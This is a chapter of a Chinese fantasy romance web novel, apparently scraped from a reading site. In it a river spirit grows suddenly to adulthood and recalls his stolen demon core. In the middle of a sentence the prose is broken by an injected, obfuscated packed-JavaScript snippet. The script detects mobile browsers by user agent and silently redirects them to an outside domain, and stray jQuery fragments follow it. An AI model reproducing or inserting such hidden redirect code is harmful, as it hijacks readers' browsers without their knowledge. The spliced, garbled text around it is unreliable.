18. 妖丹

作品:《误入龙傲天剧本后

    夜色如墨,万籁俱寂。


    渎生在榻上不安地翻动着,额角渗出细密的汗珠,陷入了一场光怪陆离的梦境。


    梦中迷雾氤氲,似有流水潺潺。


    一位身着浅碧色衣裙的女子自朦胧中翩然走出,容颜清丽绝俗,眉眼弯弯,正朝着他巧笑倩兮,眸光温柔得能溺毙人心。


    望着他,她朱唇轻启,声音缥缈而亲切。


    “阿生……你还好吗……”


    渎生闻言只觉得一股难以言喻的孺慕与眷恋涌上心头,不由自主地想伸手去触碰那只向他伸来的白莹玉手。


    然而,就在他的指尖即将触及那份温暖的时突生变故。


    一道白发身影毫无征兆地出现在女子身后,就在渎生还未来得及做出任何反应时,那只萦绕着黑气的手掌竟从女子心口处洞穿而出。


    来者动作狠戾,毫不留情。


    温热的鲜血如同红梅骤雨,猛地溅射开来,溅撒到渎生尚还愣神的脸上,滚烫的触感从他的脸上滚过。


    女子脸上的笑瞬间凝固,化为无尽的惊愕与痛苦,她难以置信地低头看向自己胸口穿出的手,又艰难地抬眼望向渎生,嘴唇翕动似乎想说什么,却最终化作一缕轻烟,在面前消散殆尽。


    渎生僵在原地,脑中一片空白,就在他呆愣之际,那只沾着女子血的手也穿入了他的身体,伴随着一股钻心之痛,来人一招黑虎掏心直接剜了他的内丹。


    渎生被这真实的痛感给吓到了,他猛地从榻上弹坐起来,浑身都被冷汗浸透,那被剜心的极致痛苦仿佛还残留在体内,以至他下意识地查探起胸口是否有伤,就在他伸出手时,却发现自己小萝卜肉手变得骨骼分明,修长有力。


    他心中升起一股巨大的不安,踉跄着翻身下床,冲到房内的铜镜前。


    镜中映出的,赫然是一张陌生的青年脸庞,眉眼依稀能看出几分幼时的轮廓,但已然褪去了全部稚气。


    镜中人面如冠玉,鼻梁高挺,唇形薄而优美,一双桃花眼因惊惧而微微睁大,更添几分惊心动魄的脆弱感,身材也变得颀长挺拔,原本合身的孩童衣物此刻被撑得紧绷,甚至不少地方都被撕裂。


    这是谁?


    渎生彻底懵了,对着镜中的自己,不知所措。


    就在这时,房门被人推开了,许晏按照萧景珩的吩咐给渎生送些吃食。


    可他刚踏进房门,就看到一个陌生男子只穿着破裂的孩童衣衫、身形狼狈地站在镜前。


    一向警觉的许晏不由分说就抽出腰间的刀指向渎生。


    “你是谁,把渎生藏哪里去了?”


    渎生见状,忙抱着头,委屈地扁了扁嘴。


    “许叔叔,我就是渎生啊。”


    “你莫不是把我当痴呆,昨天还是个孩子,今天怎么就一下变成了大人!”


    许晏难以置信地上下打量着眼前这个俊美得近乎妖异的青年,就将剑又靠近了他脖颈几分。


    “老实交代,不然我杀了你。”


    见许晏真要动手杀自己,渎生急匆匆跑出了屋子,身子矫捷地躲过了一众围捕的侍从,跑进了谢旻宁的屋内。


    此刻的萧景珩正候在外室,守着谢旻宁打坐疗伤,却见一陌生男人光着上半身跑进了屋内,忙从剑架上抽出剑准备一把刺穿来人。


    谁料渎生一个滑轨,一把跪到萧景珩面前,扯着他的衣袍喊着。


    “爹爹,救我。”


    正当萧景珩还没反应过来时,内室的门忽然被推开,谢旻宁迎光走了出来,抬眼示意萧景珩收起刀,而后对着一脸茫然无措的渎生柔声起来。


    “不必惊慌,你不过是因为吸食了你爹爹的阳气长大了。”


    她转向震惊的许晏和眉头紧锁的萧景珩,简单解释起来。


    “他并非人类孩童,乃是河关江水之灵蕴化而生的精怪,此前被人所杀,灵体受损,力量溃散,我护下他元魂,得龙气滋养才退化至幼生态,如今养全了灵力,自然也恢复了从前的样貌。”


    许晏听得目瞪口呆,看看俊美非凡的渎生,又看看自家王爷,忍不住喃喃感叹了一句。


    “妖……?”


    这话说得极小声,但在场几人都听得一清二楚。


    萧景珩的脸色瞬间黑了几分。


    谢旻宁见从前衣物小了,渎生有些衣不蔽体,就让许晏带着他去换件衣袍,她和萧景珩则坐到亭中喝起茶。


    等到渎生换好衣袍,迈着欢快的脚步走入亭中时,谢旻宁的眼睛穆然一亮。


    来人风姿清绝,眉如远山含黛舒展入鬓,眸似寒月凝辉清冷剔透,唇若柳叶裁就薄而含丹,通身气度宛若天地灵秀毓粹于一身。


    望着谢旻宁直勾勾盯着渎生,萧景珩的手又捏紧了几分杯身。


    他承认渎生确实生得比他好看,但他才是她的夫君吧!


    渎生在最初的惊慌过后,立刻又恢复了原本性格,他几步凑到谢旻宁身边,极其自然地就想像从前那样去拉她的衣袖,甚至把脑袋靠到她肩上,嘴里还带着点委屈地嘟囔。


    “阿娘……我好像做噩梦了,好可怕……”


    他现在身量很高,比谢旻宁还要高出半个头,做出这般依恋撒娇的姿态,视觉冲击力极强。


    萧景珩见这大鸟依人的场景,额角青筋跳了跳,猛地咳嗽一声。


    奈何渎生灵智一如从前那样,完全没感受到萧景珩的醋意,依旧围着谢旻宁叽叽喳喳,诉说着刚才的惊吓,神色里满是委屈。


    谢旻宁看着萧景珩那气得脸色发青,却又碍于王爷的架子不能跟精怪一般见识,只能硬生生憋着的模样,心下不由觉得有些好笑。


    她抬手,轻轻拍了拍渎生的手以示安抚。


    “和阿娘说说,到底是做了什么梦让渎生这么害怕?”


    此言一出,渎生好似找到了宣泄口,开始详细描述起那个真实得可怕的梦境。


    “我梦到一个姐姐唤我阿生……可是后来,有个白头发的人,好可怕……他杀了那个姐姐……血……好多血……然后他也杀了我……他把手伸进我这里。


    ”他指着自己的心口,脸上露出极度痛苦和后怕的神情。


    “挖走了一个东西……好痛……真的好痛……”


    听到这里,谢旻宁正准备举杯喝茶的手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309161|182718||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    明显一顿,茶水微微晃出,她抬眸盯着渎生。


    “你还记得挖走了什么东西吗?”


    “就是一个……亮亮的,暖暖的……在我身体里面的东西……”


    因为词汇匮乏,渎生努力地比划着。


    “是个红色的,然后发光的珠子……”


    谢旻宁一下就想到了薛睿试图用于夺舍萧景珩的那枚妖丹,难不成那枚妖丹是渎生的。


    她毫不犹豫地伸出手,一把扣住渎生的手腕,渎生愣了一下,却没有挣扎,任由她握着。


    谢旻宁指尖凝起一缕极细的灵息,迅速探入他的经脉,直抵其丹田气海之处。


    仔细探寻之下,竟真无丝毫内丹的气息,难怪他身为一方江灵,先前却那般弱小,原来是被生生剜走了内丹。


    “人心不足蛇吞象。”


    谢旻宁低声自语,眼中掠过一丝冰冷的厉色。


    妖物内丹乃是其精华所在,剜丹之痛,犹如凡人剜心,其过程更是痛苦万分,且极伤天和。


    她难以想象,当时渎生是如何承受下这份极致的痛苦,心下对那幕后行凶之人,不由得升起更深的厌恶与杀意。


    同时,一个念头闯入她的脑海,那位赠她归墟石老道在河关隐居多年,想来必然知晓许多隐秘,或许能从他口中打探出一些线索。


    她松开渎生的手腕,看向脸色依旧不太好看的萧景珩,正色道:“此事恐怕比我们想的更复杂,渎生失丹应与镇妖塔乃至薛甫有牵连,我想去见一见那位道长。”


    萧景珩原本还因她握着渎生手腕不放而醋意翻涌,此刻见她神色凝重,也知事关重大。


    他压下心头那点不快,沉吟片刻心中暗揣,那老道性情古怪,行踪莫测,但确实是目前唯一的突破口。


    “好。”他最终点头应下,“我带你去。”


    而此刻的渎生,虽然不太明白两人间所论为何,但敏锐地感觉到气氛变了。


    尤其是萧景珩,看他的眼神似乎更加不善,见萧景珩瞪他,他下意识地缩了缩脖子,往谢旻宁怀里躲去。


    果然,萧景珩见状,一把上前将他从谢旻宁怀里拽出来,厉声训斥起来。


    “既已恢复成年身形,便该知些礼数,男女授受不亲,往后不可再对女子如此拉拉扯扯,这样成何体统!”


    渎生委屈地撇了撇嘴,明明刚才阿娘都没说什么,他却在这里暴跳如雷,但他打心底里还是有些害怕这个总是板着脸的爹爹,见他似乎真的动了气,只好讪讪地松开手,低低应了一声。


    “哦,知道了。”


    “你先回房间去,我有其他事和你……王妃商讨。”


    望着这么大的渎生,萧景珩实在是说不出“阿娘”两个字。


    渎生只好不情愿地起身,然后一步三回头地离开了亭子。


    那高大俊挺的背影,此刻竟透出几分被遗弃般的可怜。


    “我们何时动身?”


    她收回目光,看向萧景珩,眼神已然恢复冷静与决断。


    “明日一早。”萧景珩淡淡回应起来,“那老道栖身之处颇为偏僻,需得早些出发。”